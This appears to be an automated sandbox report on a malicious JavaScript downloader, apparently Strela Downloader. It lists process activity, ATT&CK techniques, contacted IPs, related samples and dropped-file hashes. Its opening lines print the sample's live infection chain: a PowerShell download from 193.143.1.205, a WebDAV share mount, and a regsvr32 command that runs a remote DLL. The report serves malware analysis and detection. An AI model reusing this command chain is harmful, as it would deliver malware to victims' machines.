Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1136121895118314851.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/;	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/av	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2975592280.000001F0F7211000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/;	net.exe, 00000006.00000002.1746942292.0000022627426000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1747192100.000001F0F74D2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1746942292.00000226273F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000006.00000002.1746942292.00000226273F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1747192100.000001F0F74D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/av	net.exe, 00000006.00000002.1746942292.0000022627449000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587563
Start date and time:	2025-01-10 14:57:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1136121895118314851.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.22.242.123, 2.22.242.11, 4.175.87.197, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:58:00	API Interceptor	22x Sleep call for process: powershell.exe modified
08:58:04	API Interceptor	1x Sleep call for process: net.exe modified
08:58:04	API Interceptor	2x Sleep call for process: svchost.exe modified
08:58:17	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307331793605844
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrr:KooCEYhgYEL0In
MD5:	A04D7C58C7835FA00782271EF7A80F07
SHA1:	65D69822EBC7722927EFFB5A94B6F6C63978CA06
SHA-256:	26522206FC372C53625657001F36CAC6196C5940B847143F8BEE2B30C954E890
SHA-512:	8AAC6B18F1A945DE7E03675C0DD1DA520AF74BBE0C88A053B365AAC881DCBADC904C4429EA647CC7E76E193AE3294DEF5E09BC24A966E167DAE8E691B19030AA
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x542daee5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221175952748327
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	E5783D7C42A77BDEBA8E5752B68DEA21
SHA1:	793EAFBFCAB3D8521951BAE905D3C44C2EEB46A6
SHA-256:	9739ADB9EDE8B41D2E5D08D9CF6345A03E09703DAFF433152818F25BE6446494
SHA-512:	31D7013D72E63C32845525F5E5A8F2D5545FF25B968BA946226EC68382186ACEBB94F8DEDAFE79E2FB98220D25668F88EA307D1F949FEFF4C8494E1BDADE71D6
Malicious:	false
Preview:	T-..... .......A.......X\...;...{......................0.!..........{A..:...}=.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................:...}...................3X..:...}=..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0768083236213834
Encrypted:	false
SSDEEP:	3:8UYeXAJCKjjn13a/TcyQ1allcVO/lnlZMxZNQl:8UzX9Kj53qqQOewk
MD5:	2DD17C3CB1BA33BA431C882103997D11
SHA1:	06250F2958C53D192AADC558EC7A542DF6436EB5
SHA-256:	2AE5C2348454FB6B84361089D6D2BEC34E7654800E4B134E445D833D0B7DAE1C
SHA-512:	E0250EA08794CB38B45D7FB52060600CD54FD5E0F83C1F27499B115AAD9DE71BBAACE844432C1AEB7145B54E2BB4E1FE64FFECAF0D390B0C4CCF706F7B0A22AF
Malicious:	false
Preview:	.p.......................................;...{...:...}=......{A..............{A......{A..........{A].................3X..:...}=.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.16533179319693
Encrypted:	false
SSDEEP:	6:iO4od5bAq2Pwkn2nKuAl9OmbnIFUtSod3xXZmwsod3xFkwOwkn2nKuAl9OmbjLJ:7vwvYfHAahFUtR1xX/71xF5JfHAaSJ
MD5:	42905E51FF107EF0054DB49C1F454BAD
SHA1:	3460F818432F4DFDBD0C7D3A576DD25DC1B87795
SHA-256:	62C41B4EB0260803A411C59547D53EEB302882C78677A1326C320E9113828C3F
SHA-512:	90B192D948D49E725429EA262F762BD24E5FD5EDAA33296A84D8CF77DEC4BDD77B0566A87D5BC6B20E816FC64339DCCF789A626298D9428E0F1CC6AB3519B675
Malicious:	false
Preview:	2025/01/10-08:58:04.807 1f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:58:04.809 1f50 Recovering log #3.2025/01/10-08:58:04.809 1f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.16533179319693
Encrypted:	false
SSDEEP:	6:iO4od5bAq2Pwkn2nKuAl9OmbnIFUtSod3xXZmwsod3xFkwOwkn2nKuAl9OmbjLJ:7vwvYfHAahFUtR1xX/71xF5JfHAaSJ
MD5:	42905E51FF107EF0054DB49C1F454BAD
SHA1:	3460F818432F4DFDBD0C7D3A576DD25DC1B87795
SHA-256:	62C41B4EB0260803A411C59547D53EEB302882C78677A1326C320E9113828C3F
SHA-512:	90B192D948D49E725429EA262F762BD24E5FD5EDAA33296A84D8CF77DEC4BDD77B0566A87D5BC6B20E816FC64339DCCF789A626298D9428E0F1CC6AB3519B675
Malicious:	false
Preview:	2025/01/10-08:58:04.807 1f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:58:04.809 1f50 Recovering log #3.2025/01/10-08:58:04.809 1f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.214933776129106
Encrypted:	false
SSDEEP:	6:iO4odqj39+q2Pwkn2nKuAl9Ombzo2jMGIFUtSodRJZmwsodk9VkwOwkn2nKuAl97:7v0j34vYfHAa8uFUtRTJ/7yD5JfHAa8z
MD5:	0378507F2B0D759DC18DD45932FE8B4D
SHA1:	CA094B60CB8548714CA4FF8ABFB190BC6A0362A8
SHA-256:	642211D3F81EB304E57B03C558312B64DE77F53135EF4EF53C42A46C1C99750E
SHA-512:	C8C62478AF055FD5F43D1CC79A4EC8659677A7AAA98D0EEAD87B852B041AF2237E3A24D3A290096577757A9C3A8EADC7FD7988E2A66A686A0B29F2FB3431A276
Malicious:	false
Preview:	2025/01/10-08:58:04.936 1c68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:58:04.937 1c68 Recovering log #3.2025/01/10-08:58:04.938 1c68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.214933776129106
Encrypted:	false
SSDEEP:	6:iO4odqj39+q2Pwkn2nKuAl9Ombzo2jMGIFUtSodRJZmwsodk9VkwOwkn2nKuAl97:7v0j34vYfHAa8uFUtRTJ/7yD5JfHAa8z
MD5:	0378507F2B0D759DC18DD45932FE8B4D
SHA1:	CA094B60CB8548714CA4FF8ABFB190BC6A0362A8
SHA-256:	642211D3F81EB304E57B03C558312B64DE77F53135EF4EF53C42A46C1C99750E
SHA-512:	C8C62478AF055FD5F43D1CC79A4EC8659677A7AAA98D0EEAD87B852B041AF2237E3A24D3A290096577757A9C3A8EADC7FD7988E2A66A686A0B29F2FB3431A276
Malicious:	false
Preview:	2025/01/10-08:58:04.936 1c68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:58:04.937 1c68 Recovering log #3.2025/01/10-08:58:04.938 1c68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969550278956958
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq5WsBdOg2H7caq3QYiubInP7E4T3y:Y2sRds0dMHC3QYhbG7nby
MD5:	8C32003ED0BE990C8D4FD4A4DF407099
SHA1:	8A43CFEEDBC35191478E8C12F79809C0F7E37A7F
SHA-256:	5CC4E1B75B3C344DC222EC7913EE81A271E8D2480A246468582CF2E52B4702FF
SHA-512:	64FDB3E0D612B0C6B0EAC1F67C5DAF77B5EA32B2A7F099DEB6AEB28E34887FF01D0327ADB604DD709232446270C4F2D32532893D8973DA33D76B6B4212460D77
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077497402475","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143126},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d3ae4ad6-dfb6-406f-b8dd-f9d9dfadfef2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969550278956958
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq5WsBdOg2H7caq3QYiubInP7E4T3y:Y2sRds0dMHC3QYhbG7nby
MD5:	8C32003ED0BE990C8D4FD4A4DF407099
SHA1:	8A43CFEEDBC35191478E8C12F79809C0F7E37A7F
SHA-256:	5CC4E1B75B3C344DC222EC7913EE81A271E8D2480A246468582CF2E52B4702FF
SHA-512:	64FDB3E0D612B0C6B0EAC1F67C5DAF77B5EA32B2A7F099DEB6AEB28E34887FF01D0327ADB604DD709232446270C4F2D32532893D8973DA33D76B6B4212460D77
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077497402475","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143126},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.252393719116836
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7GSMU2:etJCV4FiN/jTN/2r8Mta02fEhgO73goo
MD5:	1AB84E4624D9BDB73948655379287F0D
SHA1:	8E49C30076FFCCAA393E2A6E783A7512C3B5345F
SHA-256:	4D63C4ABCF63D2B1F0CC0610BCE40B5BDF997872D6C7039BEDBCE7F0A4998565
SHA-512:	02BF2852A7D815DA5D9CEA2D5F9649EAED848578C603DF39BE69FABE0C8CA0885C219857299E091C897C5B650B8608AE537B9584B7F1B144396CBCB3C754A5A9
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.122643992866937
Encrypted:	false
SSDEEP:	6:iO4od/zF9+q2Pwkn2nKuAl9OmbzNMxIFUtSod/SJZmwsod/o9VkwOwkn2nKuAl9c:7v1zF4vYfHAa8jFUtR1SJ/71oD5JfHAo
MD5:	D15C5B0FB85F9EACB89CB5BAAAD23FE7
SHA1:	746C765341D937A1D43ED98CA1EDC0100B5BEA16
SHA-256:	4773F6369865F70B54EA8BA6E7485F31855C886FF83BB884F66E50186F976CD7
SHA-512:	899B38A6C0E271CCF5849EE39D3904D383F64256A17332B4A2C9130394861B6B494837395C50B4389E05AFC01C3B150532554708892B2790C6254CB7C8216565
Malicious:	false
Preview:	2025/01/10-08:58:05.110 1c68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:58:05.111 1c68 Recovering log #3.2025/01/10-08:58:05.113 1c68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.122643992866937
Encrypted:	false
SSDEEP:	6:iO4od/zF9+q2Pwkn2nKuAl9OmbzNMxIFUtSod/SJZmwsod/o9VkwOwkn2nKuAl9c:7v1zF4vYfHAa8jFUtR1SJ/71oD5JfHAo
MD5:	D15C5B0FB85F9EACB89CB5BAAAD23FE7
SHA1:	746C765341D937A1D43ED98CA1EDC0100B5BEA16
SHA-256:	4773F6369865F70B54EA8BA6E7485F31855C886FF83BB884F66E50186F976CD7
SHA-512:	899B38A6C0E271CCF5849EE39D3904D383F64256A17332B4A2C9130394861B6B494837395C50B4389E05AFC01C3B150532554708892B2790C6254CB7C8216565
Malicious:	false
Preview:	2025/01/10-08:58:05.110 1c68 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:58:05.111 1c68 Recovering log #3.2025/01/10-08:58:05.113 1c68 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445048986374815
Encrypted:	false
SSDEEP:	384:yezci5t1BPP0iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r1BPPjs3OazzU89UTTgUL
MD5:	A5E88DFE4F034C565FA90991A87EFDC7
SHA1:	F200663F3256B92ED843D1DBE9B4520BFE927FF3
SHA-256:	DEF0A87B259B76B976201FED9B7659838C585DAE05C0E2223843AFA06BDC9449
SHA-512:	6119C6E74176DE9C658FB7006039CFA9BC222C7D2A1187715554726789B677CF543ED72271A07A9AD33C650B98CD0D5F08BCE98B40AA264F53603DA3396257B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.777390299058826
Encrypted:	false
SSDEEP:	48:7M7p/E2ioyV+lioy9oWoy1Cwoy1/OKOioy1noy1AYoy1Wioy1hioybioyVKoy1ni:7Ipju+lF8WXKQKoJb9IVXEBodRBkO
MD5:	9D9E75C278FABB201E263145F92FD787
SHA1:	7AFB8EC4AAE05234255059756C87B31A764CB83A
SHA-256:	08592589AD0ED2B528EE1597BDF21CC9D0328925293016C5F84528B85A701E8D
SHA-512:	05996F1E439FCFC84274D65FD8628BA5B039693E7B0AA59A2A0AE70A82FEB753D08B476BFBE6418502338D1326056A4CD766CAC9D16C25BF49A2B3AD8FA818C5
Malicious:	false
Preview:	.... .c........Z...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
